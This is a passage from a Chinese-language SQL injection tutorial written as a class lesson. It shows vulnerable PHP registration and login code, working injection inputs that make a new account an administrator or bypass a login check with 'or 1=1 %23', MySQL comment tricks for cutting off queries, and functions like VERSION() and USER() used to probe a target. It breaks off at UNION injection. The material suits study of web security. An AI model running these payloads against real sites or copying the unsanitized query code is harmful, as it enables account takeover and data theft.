现在注册的地方,或者有其它提交的 地方地方也可以哦。 看看表的结构先 CREATE TABLE membres ( id varchar(15) NOT NULL default '', login varchar(25), pass
word varchar(25), email varchar(30), userlevel tinyint, PRIMARY KEY (id) ) 我们仍然假设 userlevel 表示用户等级,1 为管理者,2 为普通用户哈。
代码如下
//reg.php …… $query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ; …… ?> 默认插入用户等级是 2 现在我们构建注入语句了哦 还是在要我们输入 email 的地方输入: netsh@163’,’1’)# sql 语句执行时变成了: INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163’,’1’)#',?') 看我们一
注册就是管理员了。 #号表示什么来着,不是忘了吧
,晕了,这么快? 忘就忘了吧,下面再详细给你说说 2.下面说一说 mysql 中的注释,这个是很重要的,大家可不能再睡觉啦,要是再睡觉到期末 考试的时候就挂了你们。 我们继续 相信大家在上面的几个例子中已经看到注释的强大作用了吧,这里我们将再详细介绍一下。 Mysql 有 3 种注释句法 # 注射掉注释符后面的本行内容 -- 注射效果同#
/* ... */ 注释掉符号中间的部分 对于#号将是我们最
常用的注释方法。 -- 号记得后面还得有一个空格才能起注释作用。 /*…*/ 我们一般只用前面的/*就够了,因为后面的我们想加也不行,是吧? 注意:在浏览器地址栏输入#时应把它写成%23,这样经 urlencode 转换后才能成为#,从而 起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。 为了大家深刻理解
有如下的管理员信息表 CREATE TABLE alphaauthor ( Id tinyint(4) NOT NULL auto_increment, UserName varchar(50) NOT NULL default '', PASSWORD varchar(50) default NULL, Name varchar(50) default NULL, PRIMARY KEY (Id),
UNIQUE KEY Id (Id), KEY Id_2 (Id) )
//Login.php …… $query="select * from alphaauthor where UserName='$username' and Password='$passwd'"; $result=mysql_query($query);
$data=mysql_fetch_array($result); if ($data) { Echo “重要信息”; } Else Echo “登陆失败”; …… ?> 我们在浏览器地址框直接输入 ***/login.php?username=a’or id=1 %23 %23 转换成#了 放到 sql 语句中 select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd' #号后面的都拜输入了,看看 这句话等价于 select * from alphaauthor where UserName='a’or id=1 再仔细看看表的结构,只要有 id=1 的账户,返回的$data 就应该为真 我们就直接
登陆了,当然你也可以写 hppt://***/login.php?username=a’or 1=1 %23 一样的啦 3.下面将要出场的是……
对了,就是这些显示
系统信息的间谍们 VERSION() 返回数据库版本信息 DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符 串。 USER() SYSTEM_USER() SESSION_USER() 返回当前 MySQL 用户名 mysql> select user(),database(),version(); +----------------+------------+----------------+ user() database() version()
+----------------+------------+----------------+ root@localhost alpha 5.0.0-alpha-nt
+----------------+------------+----------------+
1 row in set (0.01 sec) 如图(1)所示,图不是很爽是不是?睁大你的大眼睛好好看哦 有时候很有用的哦, 比如说你可以根据他的 mysql 版本看看他的 mysql 有没有什么溢出漏洞, 没准我们就发现个好动东哈哈 4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。 1)select union select 还是 php 中文手册中讲的: SELECT ... UNION [ALL] SELECT ... [UNION